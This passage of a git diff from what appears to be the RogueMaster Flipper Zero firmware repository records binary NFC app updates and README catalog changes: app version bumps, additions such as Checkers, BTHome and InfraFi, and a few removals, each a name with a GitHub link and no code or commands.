b/Applications/Custom (UL, RM)/RogueMaster/NFC/nfc_relay.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/NFC/nfc_sniffer.fap b/Applications/Custom (UL, RM)/RogueMaster/NFC/nfc_sniffer.fap index 06f0bc427..79344bcc1 100644 Binary files a/Applications/Custom (UL, RM)/RogueMaster/NFC/nfc_sniffer.fap and b/Applications/Custom (UL, RM)/RogueMaster/NFC/nfc_sniffer.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/NFC/nfcurl.fap b/Applications/Custom (UL, RM)/RogueMaster/NFC/nfcurl.fap index 479113b8f..01d8b7eb4 100644 Binary files a/Applications/Custom (UL, RM)/RogueMaster/NFC/nfcurl.fap and b/Applications/Custom (UL, RM)/RogueMaster/NFC/nfcurl.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/NFC/openprinttag.fap b/Applications/Custom (UL, RM)/RogueMaster/NFC/openprinttag.fap index d7c02913b..4f596e0b0 100644 Binary files a/Applications/Custom (UL, RM)/RogueMaster/NFC/openprinttag.fap and b/Applications/Custom (UL, RM)/RogueMaster/NFC/openprinttag.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/NFC/passy.fap b/Applications/Custom (UL, RM)/RogueMaster/NFC/passy.fap index 3aba984e9..61f93badd 100644 Binary files a/Applications/Custom (UL, RM)/RogueMaster/NFC/passy.fap and b/Applications/Custom (UL, RM)/RogueMaster/NFC/passy.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/NFC/picopass.fap b/Applications/Custom (UL, RM)/RogueMaster/NFC/picopass.fap index 4bd6f5cf8..3060be7dc 100644 Binary files a/Applications/Custom (UL, RM)/RogueMaster/NFC/picopass.fap and b/Applications/Custom (UL, RM)/RogueMaster/NFC/picopass.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/NFC/saflip.fap b/Applications/Custom (UL, RM)/RogueMaster/NFC/saflip.fap new file mode 100644 index 000000000..32eae7c12 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/NFC/saflip.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/NFC/seader.fap b/Applications/Custom (UL, RM)/RogueMaster/NFC/seader.fap index 4e1b7f7b5..88b265a7b 100644 Binary files a/Applications/Custom (UL, RM)/RogueMaster/NFC/seader.fap and b/Applications/Custom (UL, RM)/RogueMaster/NFC/seader.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/NFC/seos.fap b/Applications/Custom (UL, RM)/RogueMaster/NFC/seos.fap index b76548f8c..36087c4c9 100644 Binary files a/Applications/Custom (UL, RM)/RogueMaster/NFC/seos.fap and b/Applications/Custom (UL, RM)/RogueMaster/NFC/seos.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/NFC/sli_writer.fap b/Applications/Custom (UL, RM)/RogueMaster/NFC/sli_writer.fap index 914af1bc2..02f075607 100644 Binary files a/Applications/Custom (UL, RM)/RogueMaster/NFC/sli_writer.fap and b/Applications/Custom (UL, RM)/RogueMaster/NFC/sli_writer.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/NFC/t_union_master.fap b/Applications/Custom (UL, RM)/RogueMaster/NFC/t_union_master.fap index 732c5910a..9db2d1aec 100644 Binary files a/Applications/Custom (UL, RM)/RogueMaster/NFC/t_union_master.fap and b/Applications/Custom (UL, RM)/RogueMaster/NFC/t_union_master.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/NFC/tonuino_writer.fap b/Applications/Custom (UL, RM)/RogueMaster/NFC/tonuino_writer.fap index 9b287c972..777cbba08 100644 Binary files a/Applications/Custom (UL, RM)/RogueMaster/NFC/tonuino_writer.fap and b/Applications/Custom (UL, RM)/RogueMaster/NFC/tonuino_writer.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/NFC/tullave.fap b/Applications/Custom (UL, RM)/RogueMaster/NFC/tullave.fap index b7f5e45ee..41ce71bf1 100644 Binary files a/Applications/Custom (UL, RM)/RogueMaster/NFC/tullave.fap and b/Applications/Custom (UL, RM)/RogueMaster/NFC/tullave.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/NFC/udecard.fap b/Applications/Custom (UL, RM)/RogueMaster/NFC/udecard.fap index 6bc2b692d..3258c1d0b 100644 Binary files a/Applications/Custom (UL, RM)/RogueMaster/NFC/udecard.fap and b/Applications/Custom (UL, RM)/RogueMaster/NFC/udecard.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/NFC/uid_brute_smarter.fap b/Applications/Custom (UL, RM)/RogueMaster/NFC/uid_brute_smarter.fap index 3fd033070..7c22f1a5b 100644 Binary files a/Applications/Custom (UL, RM)/RogueMaster/NFC/uid_brute_smarter.fap and b/Applications/Custom (UL, RM)/RogueMaster/NFC/uid_brute_smarter.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/NFC/ulcfkey.fap b/Applications/Custom (UL, RM)/RogueMaster/NFC/ulcfkey.fap index 0790a4507..5721dda8a 100644 Binary files a/Applications/Custom (UL, RM)/RogueMaster/NFC/ulcfkey.fap and b/Applications/Custom (UL, RM)/RogueMaster/NFC/ulcfkey.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/NFC/ulcfkey_next.fap b/Applications/Custom (UL, RM)/RogueMaster/NFC/ulcfkey_next.fap index c334d4549..399c2fed4 100644 Binary files a/Applications/Custom (UL, RM)/RogueMaster/NFC/ulcfkey_next.fap and b/Applications/Custom (UL, RM)/RogueMaster/NFC/ulcfkey_next.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/NFC/ulcrelay.fap b/Applications/Custom (UL, RM)/RogueMaster/NFC/ulcrelay.fap index 1f8e74c9f..ef8a34cc0 100644 Binary files a/Applications/Custom (UL, RM)/RogueMaster/NFC/ulcrelay.fap and b/Applications/Custom (UL, RM)/RogueMaster/NFC/ulcrelay.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/NFC/vb_migrate.fap b/Applications/Custom (UL, RM)/RogueMaster/NFC/vb_migrate.fap index 6e43dccbb..cf7624130 100644 Binary files a/Applications/Custom (UL, RM)/RogueMaster/NFC/vb_migrate.fap and b/Applications/Custom (UL, RM)/RogueMaster/NFC/vb_migrate.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/NFC/vk_thermo.fap b/Applications/Custom (UL, RM)/RogueMaster/NFC/vk_thermo.fap index ee1c71f12..0cc8daeef 100644 Binary files a/Applications/Custom (UL, RM)/RogueMaster/NFC/vk_thermo.fap and b/Applications/Custom (UL, RM)/RogueMaster/NFC/vk_thermo.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/NFC/weebo.fap b/Applications/Custom (UL, RM)/RogueMaster/NFC/weebo.fap index 7b77be3fe..f7d35e0c3 100644 Binary files a/Applications/Custom (UL, RM)/RogueMaster/NFC/weebo.fap and b/Applications/Custom (UL, RM)/RogueMaster/NFC/weebo.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/README.md b/Applications/Custom (UL, RM)/RogueMaster/README.md index 81e041474..b82acf5a3 100644 --- a/Applications/Custom (UL, RM)/RogueMaster/README.md +++ b/Applications/Custom (UL, RM)/RogueMaster/README.md @@ -10,9 +10,9 @@ - [Air Arkanoid v1.1 (By DrZlo13)](https://github.com/flipperdevices/flipperzero-good-faps/pull/141) `Req: Video Game Module By Flipper Devices` - [Air Labyrinth v0.1 (By jamisonderek)](https://github.com/jamisonderek/flipper-zero-tutorials/tree/main/vgm/apps/air_labyrinth) `Req: Video Game Module By Flipper Devices` - [Apple Grabber v0.1 (By d7d8)](https://github.com/d7d8/apple-grabber) -- [Ardudrivin v1.0.2 (By apfxtech)](https://github.com/apfxtech/FlipperDrivin) +- [Ardudrivin v1.0.3 (By apfxtech)](https://github.com/apfxtech/FlipperDrivin) - [ArduGolf v1.0 (By apfxtech)](https://github.com/apfxtech/FlipperGolf) -- [Arduventure v1.0 (By apfxtech)](https://github.com/apfxtech/FlipperArduventure) +- [Arduventure v2.0 (By apfxtech)](https://github.com/apfxtech/FlipperArduventure) - [Arkanoid v1.2 (By gotnull)](https://github.com/gotnull/flipperzero-firmware-wPlugins) - [Asteroids v1.2 (By antirez)](https://github.com/antirez/flipper-asteroids) - [Banana v0.4 (By DrEverr)](https://github.com/DrEverr/FlipperApps) @@ -24,6 +24,7 @@ - [CarJacker v1.0 (By RocketGod-git)](https://github.com/RocketGod-git/Flipper-Zero-CarJacker) - [Catacombs Of The Damned v2.2 (By apfxtech)](https://github.com/apfxtech/FlipperCatacombs) - [Cells Lab v0.1 (By PilotOfAsuka)](https://github.com/PilotOfAsuka/Cells-lab-on-Flipper-Zero) +- [Checkers v1.0 (By H4W9)](https://github.com/H4W9/FlipCheckers) - [Chess v1.12 (By xtruan)](https://github.com/xtruan/flipper-chess) - [Chess Clock (By ihatecsv)](https://github.com/ihatecsv/flipper_chess_clock) - [Cigarette v0.1.2 (By fuckmaz)](https://github.com/fuckmaz/flipper-cigarette) @@ -34,6 +35,7 @@ - [CountDown v1.0 (By sistemasorp)](https://github.com/sistemasorp/flipper-countdown) - [Crossy Road v1.0 (By Mikael098)](https://github.com/Mikael098/CrossyRoad-FlipperZero-) - [DeadZone v0.2 (By retrooper)](https://github.com/retrooper/deadzone) +- [Decision Maker v1.0 (By Gerijacki)](https://github.com/Gerijacki/random_decision_maker) - [Devilliers Platformer v0.1 (By adevil5)](https://github.com/adevil5/flipper-platformer-game) - [Dice (RM) Including SEX/WAR/8BALL/WEED/DRINK DICE v2.4 (By RogueMaster)](https://github.com/RogueMaster/flipperzero-dice) - [Digital Kaleidoscope v0.1 (By JamesR555)](https://github.com/JamesR555/digital_kaleidoscope) @@ -62,6 +64,7 @@ - [Hanoi Towers v1.0 (By AlexTaran)](https://github.com/AlexTaran/flipperzero) - [Heap Defence v1.3 (By xMasterX)](https://github.com/RogueMaster/flipperzero-firmware-wPlugins/commit/fc776446de9fdd553b221c02668b925b689378d8) - [Hirn - Crack Color Codes v0.2 (By fgreil)](https://github.com/fgreil/mitzi-hirn) +- [Hold em v1.1 (By code-phreak)](https://github.com/code-phreak/flipper-holdem) - [Hunter Killer v1.0 (By josephburnett)](https://github.com/josephburnett/hunter-flipper) - [Infinite Tic Tac Toe v0.1 (By kdiller713)](https://github.com/kdiller713/public-FlipperApps/tree/main/infinite_tic_tac_toe) - [Insults v1.0 (By ERSUCC)](https://github.com/ERSUCC/Flipper-Insults) @@ -77,7 +80,7 @@ - [Matagotchi v1.1 (By MrModd)](https://github.com/MrModd/Matagotchi) - [Mind Probe v0.1 (By Miksang)](https://github.com/Miksang/flipper_guessing_game) - [Minesweeper v1.2 (By panki27)](https://github.com/panki27/minesweeper) -- [Minesweeper Redux v1.6 (By squee72564)](https://github.com/squee72564/F0_Minesweeper_Fap) +- [Minesweeper Redux v1.7 (By squee72564)](https://github.com/squee72564/F0_Minesweeper_Fap) - [Monster Slayer v0.1 (By ratmanZorry)](https://github.com/ratmanZorry/monster_slayer_flipper_zero) - [Monty Hall v1.2 (By DevMilanIan)](https://github.com/RogueMaster/flipperzero-firmware-wPlugins/pull/203) - [Morse Master v1.1 (By w84death)](https://github.com/w84death/morse-master) @@ -96,11 +99,12 @@ - [Pinball0 v0.5.2 (By rdefeo)](https://github.com/rdefeo/pinball0) - [Pocket Battle+ v2.0 (By HermeticCode)](https://github.com/HermeticCode/showdown-current) - [Pong v1.3 (By nmrr)](https://github.com/nmrr/flipperzero-pong) -- [Prince Of Arabia v1.0.11 (By apfxtech)](https://github.com/apfxtech/FlipperPrinceOfArabia) +- [Prince Of Arabia v1.0.12 (By apfxtech)](https://github.com/apfxtech/FlipperPrinceOfArabia) - [Puck Girl v0.3 (By fgreil)](https://github.com/fgreil/mitzi-puck) - [Quadrastic v1.0.2 (By ivanbarsukov)](https://github.com/ivanbarsukov/flipperzero-quadrastic) - [Questions v1.1 (By nikilark)](https://github.com/nikilark/flipper_questions) - [Race v1.2 (By zyuhel)](https://github.com/zyuhel/flipperzero-racegame) +- [Race Game v1.0 (By mrc19056)](https://github.com/mrc19056/flipper-race-game) - [Reaction Test v1.2 (By Milk-Cool)](https://github.com/Milk-Cool/fz-reaction-game) - [Reaction Time (By ihatecsv)](https://github.com/ihatecsv/flipper_reaction_time) - [Reversi v1.3 (By dimat)](https://github.com/dimat/flipperzero-reversi) @@ -149,12 +153,16 @@ ## Apps / Plugins +- [24Cxx Programmer v2.0 (By kamylwnb)](https://github.com/kamylwnb/24cxxprog) +- [Agentic Remote USB/BT v0.27 (By Wet-wr-Labs)](https://github.com/Wet-wr-Labs/claupper) - [Air Level v1.0 (By jamisonderek)](https://github.com/jamisonderek/flipper-zero-tutorials/tree/main/vgm/air_level) `Req: Video Game Module By Flipper Devices` -- [Amiibo Toolkit v0.2 (By Firefox2100)](https://github.com/Firefox2100/ami_tool) `Req: key_retail.bin on SD card /nfc/assets` +- [Air Stats v1.0 (By thevan4)](https://github.com/thevan4/flipper-air-stats) Req: [See App Readme For Supported Modules](https://github.com/RogueMaster/flipperzero-firmware-wPlugins/blob/420/applications/external/air_stats/README.md) +- [AmiiTool v0.3 (By Firefox2100)](https://github.com/Firefox2100/ami_tool) `Req: key_retail.bin on SD card /nfc/assets` - [Amusement IC v0.1 (By object-Object)](https://github.com/object-Object/flip_aic) - [Analog Clock v1.2 (By scrolltex)](https://github.com/scrolltex/flipper_analog_clock) - [Analog Output v0.1 (By jamisonderek)](https://github.com/jamisonderek/flipper-zero-tutorials/tree/main/gpio/dac) - [Anki Remote v1.3 (By Blue5GD)](https://github.com/Blue5GD/Anki-Remote) +- [Animation Switcher v1.0 (By lsalik2)](https://github.com/lsalik2/FlipperAnimationSwitcher) - [ASCII Table v1.0 (By x10102)](https://github.com/x10102/flipper_ascii) - [Atari SIO Emulator v0.5 (By cepetr)](https://github.com/cepetr/sio2flip) - [ATM Player v1.0.8 (By apfxtech)](https://github.com/apfxtech/FlipperATM) @@ -164,13 +172,16 @@ - [AZERTY Mouse Jacker v1.2 (By mothball187)](https://github.com/mothball187/flipperzero-nrf24/tree/main/mousejacker) `Req: NRF24` (Uses AZERTY keyboard - Source Unknown) - [Bad Duck3 v1.1 (By dutchpatriot)](https://github.com/dutchpatriot/all-the-plugins/tree/833335354aa46fe605b494c1b3bf11afb5b362f9/non_catalog_apps/bad_duck3) - [Bad KB (Modified PR#738 from pengu1ndev - Original from WillyJL) #739 (By ESurge)](https://github.com/RogueMaster/flipperzero-firmware-wPlugins/pull/739) (Part of BadUSB) +- [BadUSB Pro v1.0 (By barkandbite)](https://github.com/barkandbite/flipper_suite) - [Barcode App v1.4 (By Kingal1337)](https://github.com/Kingal1337/flipper-barcode-generator) - [BarCode Scanner Emulator (By polarikus)](https://github.com/polarikus/flipper-zero_bc_scanner_emulator) `Uses: COM-port` - [Battery Checker v0.2 (By Programistich)](https://github.com/Programistich/battery_checker) - [BG Loader (By twisted-pear)](https://github.com/twisted-pear/bgloader) - [Big Clock v1.3 (By Eris-Margeta)](https://github.com/Eris-Margeta/flipper-apps) - [BlackJack Counter v1.0 (By grugnoymeme)](https://github.com/grugnoymeme/flipperzero-blackjack_counter-fap) +- [BLE Clicker v1.0 (By random1st)](https://github.com/random1st/flipper-ble-clicker) - [BLE Killer v1.1 (By H4lo)](https://github.com/H4lo/flipper_zero_ble_killer) `Req: ESP32` +- [BLE Scanner v1.0 (By barkandbite)](https://github.com/barkandbite/flipper_suite) `Req: ESP32` - [BLE Spam v6.6 (By WillyJL & ECTO-1A & Spooks4576 with research from xMasterX; OFW API thanks to noproto)](https://github.com/Next-Flip/Momentum-Apps/tree/dev/ble_spam) - [Bluetooth/USB Remote v1.8 (By Cutch)-OFW](https://github.com/flipperdevices/flipperzero-firmware/pull/1330) - [BMI Air Mouse v1.2 (By ginkage)](https://github.com/ginkage/FlippAirMouse/) `Req: BMI160` @@ -179,6 +190,7 @@ - [BT Audio v1.2 (By FatherDivine)](https://github.com/FatherDivine/flipperzero-mayhem/tree/bt_audio/flipper_companion_apps/bt_audio) `Req: ESP32 w BT` & [This FW](https://github.com/RogueMaster/flipperzero-firmware-wPlugins/tree/420/applications/external/bt_audio/.esp32_firmware) - [BT Remote for Kodi v1.2 (Remixed By coded-with-claws)](https://github.com/coded-with-claws/flipperzero-tools/tree/main/applications_user/bt_hid_kodi) - [BT Trigger v1.3 (By Nem0oo)](https://github.com/Nem0oo/flipper-zero_ios-bluetooth-trigger) +- [BTHome v0.1 (By ghedo)](https://github.com/ghedo/flipper-bthome) - [BunnyConnect v1.0 (By C0d3-5t3w)](https://github.com/C0d3-5t3w/flipper-bunnyconnect) `Req: BashBunny` - [C5 Lab v1.0 (By C5Lab / Lab_Team)](https://github.com/C5Lab/projectZero) - [Calculator v1.2 (By n-o-T-I-n-s-a-n-e)](https://github.com/n-o-T-I-n-s-a-n-e) @@ -186,17 +198,19 @@ - [Calendar of weeks v0.1 (By fgreil)](https://github.com/fgreil/mitzi-cal-weeks) - [Calendar TECHART v1.1 (By techartdev)](https://github.com/techartdev/Calendar) - [Camera (By Z4urce)](https://github.com/Z4urce/flipper-camera) `Req: ESP32-CAM` -- [CAN Commander v0.1 (By MatthewKuKanich)](https://github.com/MatthewKuKanich/CAN_Commander/tree/main/FlipperZeroEnvironment/CANCommander_Boilerplate) `Req: CAN Commander Board` +- [CAN Commander v2.1.1 (By MatthewKuKanich)](https://github.com/MatthewKuKanich/CAN_Commander) `Req: CAN Commander Board` - [CAN Tools v1.1 (By MatthewKuKanich)](https://github.com/MatthewKuKanich/FlipperCANTools) - [CAN Transceiver v0.1 (By Chainmanner)](https://github.com/Chainmanner/Flipper-CAN-Transceiver) - [CANBUS v1.1.6.2 (By ElectronicCats)](https://github.com/ElectronicCats/flipper-MCP2515-CANBUS) `Req: CANBUS By ElectronicCats` - [CANBUS ATTACK v1.0 (By jorgepnaranjo25)](https://github.com/jorgepnaranjo25/CAN-Bus-Attack) `Req: CANBUS By ElectronicCats` - [Canon Intervalometer v1.0 (By TravisCG)](https://github.com/TravisCG/canonivm) - [Caesar Cipher v1.2 (By panki27)](https://github.com/panki27/caesar-cipher) +- [CCID Emulator v1.0 (By barkandbite)](https://github.com/barkandbite/flipper_suite) - [CFW Settings v1.6 - Imported/Modified By RogueMaster (By WillyJL)](https://github.com/RogueMaster/flipperzero-firmware-wPlugins/commit/ecf91524a956f773881d564c4ada833f844264ca) - [Chameleon Ultra v1.0 (By muylder)](https://github.com/muylder/Chameleon_Flipper) - [Chief Cooker v1.0 (By denr01)](https://github.com/denr01/FZ-ChiefCooker) - [Chronometer (By nmrr)](https://github.com/nmrr/flipperzero-chronometer) +- [ClayLoop v1.0 (By b0bby225)](https://github.com/b0bby225/ClayLoop) - [CLI Bridge v1.6 (By ranchordo)](https://github.com/ranchordo/flipperzero-cli-bridge) - [Clippy v0.1 (By mtormento)](https://github.com/mtormento/clippy) - [Clock v1.2 (By kowalski7cc)](https://github.com/kowalski7cc/flipperzero-firmware/tree/clock-v1) @@ -241,13 +255,13 @@ - [ESP32CAM Nanny Cam v0.1 (By eried)](https://github.com/eried/flipperzero-mayhem) `Req: ESP32-CAM (Mayhem)` - [ESP32CAM QR Code v0.1 (By eried)](https://github.com/eried/flipperzero-mayhem) `Req: ESP32-CAM (Mayhem)` - [Ethernet W5500 v1.1 (By karasevia)](https://github.com/karasevia/finik_eth) `Req: W5500` +- [Evil BLE v1.0 (By barkandbite)](https://github.com/barkandbite/flipper_suite) `Req: ESP32` - [Evil BW16 Controller v1.0 (By dagnazty)](https://github.com/dagnazty/Flipper_Apps) - [Evil Portal v0.6 (By bigbrodude6119)](https://github.com/bigbrodude6119/flipper-zero-evil-portal) - [Extend Range (By maede97)](https://github.com/maede97/flipperzero-extend-range) (Allows SubGHz Unlock!) - [Eye Saver v0.1 (By paul-sopin)](https://github.com/paul-sopin/flipper-eye-saver) - [EXTRA Demo v0.4 (By Milk-Cool)](https://github.com/Milk-Cool/EXTRA-demo) (This app has VERY useful functions!) - [FAP Boilerplate v1.3 (By leedave)](https://github.com/leedave/flipper-zero-fap-boilerplate) -- [FastJS v1.2 (By jblanked)](https://github.com/jblanked/FastJS-FlipperZero) - [FDX-B Maker v1.0 (By snowsign)](https://github.com/snowsign/fdxb-maker) - [Fencing Test Box v0.1 (By aarjaneiro)](https://www.github.com/aarjaneiro/fencing_testbox) - [Financial Calculator v1.0 (By schaene)](https://github.com/schaene/Flipper-Financial-Calculator) @@ -255,17 +269,19 @@ - [Fire String v1.3 (By RyanAboueljoud)](https://github.com/RyanAboueljoud/Fire-String) - [Flame RNG v0.3 (By OrionW06)](https://github.com/OrionW06/Flame-RNG) - [Flashlight v1.2 (By xMasterX)](https://github.com/xMasterX/flipper-flashlight) +- [FlipDeck v3.0 (By ismail-oe)](https://github.com/ismail-oe/flipdeck) - [FlipDownloader v1.3.5 (By jblanked)](https://github.com/jblanked/FlipStore) `Req: ESP32` with [FliperHTTP Firmware](https://github.com/jblanked/FlipperHTTP) - [FlipGemini v1.0 (By jblanked)](https://github.com/jblanked/FlipGemini) `Req: ESP32` with [FliperHTTP Firmware](https://github.com/jblanked/FlipperHTTP) -- [FlipLibrary v1.4 (By jblanked)](https://github.com/jblanked/FlipLibrary) `Req: ESP32` with [FliperHTTP Firmware](https://github.com/jblanked/FlipperHTTP) +- [FlipLibrary v1.5 (By jblanked)](https://github.com/jblanked/FlipLibrary) `Req: ESP32` with [FliperHTTP Firmware](https://github.com/jblanked/FlipperHTTP) - [FlipMap v0.2.2 (By jblanked)](https://github.com/jblanked/FlipMap) `Req: ESP32` with [FliperHTTP Firmware](https://github.com/jblanked/FlipperHTTP) - [Flipper Blackhat v0.4.1 (By o7-machinehum)](https://github.com/o7-machinehum/flipper-blackhat-app) `Req: Blackhat Board` with [Blackhat OS](https://github.com/o7-machinehum/flipper-blackhat-os) - [Flipper Printer v1.0 (By alxcrt)](https://github.com/alxcrt/flipper-zero-thermal-printer) `Req: T7-US thermal printer module` +- [FlipperPwn v1.6 (By barkandbite)](https://github.com/barkandbite/flipper_suite) - [FlipRPI v1.0 (By jblanked)](https://github.com/jblanked/FlipRPI) `Req: ESP32` with [FliperHTTP Firmware](https://github.com/jblanked/FlipperHTTP) -- [FlipSocial v2.0.8 (By jblanked)](https://github.com/jblanked/FlipSocial) `Req: ESP32` with [FliperHTTP Firmware](https://github.com/jblanked/FlipperHTTP) +- [FlipSocial v2.0.9 (By jblanked)](https://github.com/jblanked/FlipSocial) `Req: ESP32` with [FliperHTTP Firmware](https://github.com/jblanked/FlipperHTTP) - [FlipTelegram v1.0.1 (By jblanked)](https://github.com/jblanked/FlipTelegram) `Req: ESP32` with [FliperHTTP Firmware](https://github.com/jblanked/FlipperHTTP) - [FlipTrader v1.1.2 (By jblanked)](https://github.com/jblanked/FlipTrader) `Req: ESP32` with [FliperHTTP Firmware](https://github.com/jblanked/FlipperHTTP) -- [FlipWeather v1.2 (By jblanked)](https://github.com/jblanked/FlipWeather) `Req: ESP32` with [FliperHTTP Firmware](https://github.com/jblanked/FlipperHTTP) +- [FlipWeather v1.4 (By jblanked)](https://github.com/jblanked/FlipWeather) `Req: ESP32` with [FliperHTTP Firmware](https://github.com/jblanked/FlipperHTTP) - [FlipWifi v1.6.3 (By jblanked)](https://github.com/jblanked/FlipWiFi) `Req: ESP32` with [FliperHTTP Firmware](https://github.com/jblanked/FlipperHTTP) - [FlipWorld v1.0.3 (By jblanked)](https://github.com/jblanked/FlipWorld) `Req: ESP32` with [FliperHTTP Firmware](https://github.com/jblanked/FlipperHTTP) - [Flipagotchi v2.1.1 (By Matt-London)](https://github.com/Matt-London/pwnagotchi-flipper) @@ -284,15 +300,17 @@ - [Flippy Temp WIP v0.1 (By n0ciple)](https://github.com/n0ciple/flippy_sensors) `Req: Flippy Sensor Board` - [FlipTDI v1.1 (By Skorpionm)](https://github.com/flipperdevices/flipperzero-good-faps/pull/234) - [Flizzer Tracker v0.9 (By LTVA1)](https://github.com/LTVA1/flizzer_tracker) -- [FM Radio v1.1.1 (By coolshrimp)](https://github.com/coolshrimp/flipperzero-firmware-wPlugins/tree/420/applications/external/fm_radio) +- [FM Radio v1.1.1 (By coolshrimp)](https://github.com/coolshrimp/flipperzero-firmware-wPlugins/tree/420/applications/external/fm_radio) `Req: TEA5767` +- [FM Radio w Vol v0.9 (By coolshrimp & pchmielewski1)](https://github.com/pchmielewski1/tea5767-pt2257-fm-radio-with-volume-control) `Req: TEA5767+PT2257` - [FM Transmitter KT0803 v1.0 (By goosedev72-projects)](https://github.com/goosedev72-projects/flipperzero-kt0803-transmitter) `Req: KT0803` - [FMF2USBMIDI v0.1 (By crackerjacques)](https://github.com/crackerjacques/Flipper_Zero_FMF2USBMIDI) - [Ford Radio Codes v0.1 (By DavidB445)](https://github.com/DavidB445/fz_fordradiocodes) -- [Free Roam v0.4 (By jblanked)](https://github.com/jblanked/Free-Roam) `Req: ESP32` with [FliperHTTP Firmware](https://github.com/jblanked/FlipperHTTP) +- [Free Roam v0.5 (By jblanked)](https://github.com/jblanked/Free-Roam) `Req: ESP32` with [FliperHTTP Firmware](https://github.com/jblanked/FlipperHTTP) - [Frequency Analyzer (External) v1.0 (By xMasterX)](https://github.com/xMasterX/all-the-plugins/tree/dev/non_catalog_apps/freq_analyzer_ext) - [FRSScan v0.2 (By thecybermind)](https://github.com/thecybermind/frsscan) - [FZ nRF24 Jammer v1.4 (By W0rthlessS0ul)](https://github.com/W0rthlessS0ul/FZ_nRF24_jammer) - [Gas Sensor v0.1 (By iancohee)](https://github.com/iancohee/gas_sensor_fap) `Req: BME680 / SGP30` +- [Gatekeeper v1.1 (By enexis1337)](https://github.com/enexis1337/Gatekeeper) - [Gauge Tool v0.1 (By skotopes)](https://github.com/skotopes/flipperzero_gauge_tool) (Used To Downgrade From 10/07/2024 Update) - [GB Printer v0.5 (By kbembedded)](https://github.com/kbembedded/flipper-gb-printer) `Req: GB Link Cable / Malveke` - [Gemini IA v1.1 (By d4rks1d33 & jamisonderek)](https://github.com/d4rks1d33/Gemini-Flipper) @@ -315,6 +333,7 @@ - [HC-11 Modem v1.2 (By Giraut)](https://github.com/Giraut/flipper_zero_hc11_wireless_modem) `Req: HC-11` - [HEX Editor v1.3 (By dunaevai135)](https://github.com/dunaevai135/flipper-zero-hex_editor) - [HEX Viewer v2.0 (By QtRoS)](https://github.com/QtRoS/flipperzero-firmware) +- [HID Exfil v1.0 (By barkandbite)](https://github.com/barkandbite/flipper_suite) - [HID File Transfer v1.0 (By Kavakuo)](https://github.com/Kavakuo/HID-File-Transfer) - [Hitachi AC Remote v1.1 (By dogtopus)](https://github.com/dogtopus/flipperzero-hitachi-ac-remote) - [HTW AC Remote v1.1 (By sokogen)](https://github.com/sokogen/flipperzero-htw-ac-remote) @@ -327,19 +346,20 @@ - [IFTTT Button (By Ferrazzi)](https://github.com/Ferrazzi/FlipperZero_IFTTT_Virtual_Button) `Req: ESP8266 w/ IFTTT FW Flashed` - [Image Scroller v0.1 (By fgreil)](https://github.com/fgreil/mitzi-scroller) - [Image Viewer v0.1 (By polioan)](https://github.com/polioan/flipper-zero-image-viewer) -- [INA Meter v0.2 (By cepetr)](https://github.com/cepetr/flipper-tina) +- [INA Meter v0.8 (By cepetr)](https://github.com/cepetr/flipper-tina) +- [InfraFi v1.0 (By amd989)](https://github.com/amd989/InfraFi) - [Intervalometer v1.2 (By theageoflove)](https://github.com/theageoflove/flipperzero-zeitraffer) - [IR Blaster v1.1 (By mateusz-szafraniec)](https://github.com/mateusz-szafraniec/flipperzero-IR_Blaster) - [IR Decoder v1.0 (By prplecake)](https://github.com/prplecake/f0/tree/master/infrared/apps/ir_decoder) - [IR Intervalometer v2.2 (By Nitepone)](https://github.com/Nitepone/flipper-intervalometer) - [IR Remote v1.1 (By Hong5489)](https://github.com/Hong5489/ir_remote) - [IR Scope v1.3 (By kallanreed)](https://github.com/kallanreed/unleashed-firmware/tree/dev/applications/external/ir_scope) +- [IR Signal Generator v1.0 (By temboohms68)](https://github.com/temboohms68/Flipper-Zero-IR-Signal-Generator) - [IR Transfer WIP v0.1 (By WBP20)](https://github.com/WBP20/ir_transfer) - [IR Xbox Controller v1.5 (By gebeto)](https://github.com/gebeto/flipper-xbox-controller) - [ISO15693-3 NFC Writer v1.0 (By ch4istO)](https://github.com/ch4istO/unleashed-firmware/tree/dev/applications_user/iso15693_nfc_writer) - [J305 Geiger Counter v1.4 (By nmrr)](https://github.com/nmrr/flipperzero-geigercounter) - [Joycon v1.0 (By ccyyturralde)](https://github.com/ccyyturralde/Flipper-Zero-Joycon) -- [JS Runner v1.0 (By nminaylov & DrZlo13)-OFW](https://github.com/flipperdevices/flipperzero-firmware/pull/3286) - [Karl Eido v0.1 (By fgreil)](https://github.com/fgreil/mitzi-karl-eido) - [Key Copier v1.5 (By zinongli)](https://github.com/zinongli/KeyCopier) - [Lab401/DigiLab v1.1.1 (By lab-401 & tixlegeek)](https://github.com/lab-401/fzDigiLab) @@ -354,7 +374,7 @@ - [LIDAR Emulator v0.2 (By regaly)](https://github.com/regaly/flipperzero-lidar_emulator) - [Lightmeter v1.3 (By oleksiikutuzov)](https://github.com/oleksiikutuzov/flipperzero-lightmeter) `Req: BH1750/MAX44009` - [Lightning Distance v0.1 (By HyperMuffin12)](https://github.com/HyperMuffin12/Flipper-Lightning-Distance) -- [Lishi HU66 v0.2 (By evillero)](https://github.com/evillero/lishi_hu66) +- [Lishi HU66 v0.3 (By evillero)](https://github.com/evillero/lishi_hu66) - [ListEM v1.3 (By Clawzman)](https://github.com/Clawzman/Flipper_ListEM) - [Logic Analyzer v1.1 (By g3gg0)](https://github.com/g3gg0/flipper-logic_analyzer) - [Longwave Clock 